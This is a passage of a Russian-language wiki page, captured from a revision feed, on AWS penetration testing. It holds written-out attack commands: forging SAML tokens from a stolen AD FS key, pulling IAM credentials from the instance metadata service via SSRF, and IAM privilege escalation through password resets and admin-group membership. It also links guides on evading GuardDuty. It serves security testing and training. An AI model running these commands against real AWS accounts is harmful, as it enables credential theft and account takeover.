В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1222</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1222"/>
				<updated>2022-10-17T10:51:24Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Augmented AI (Amazon A2I) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
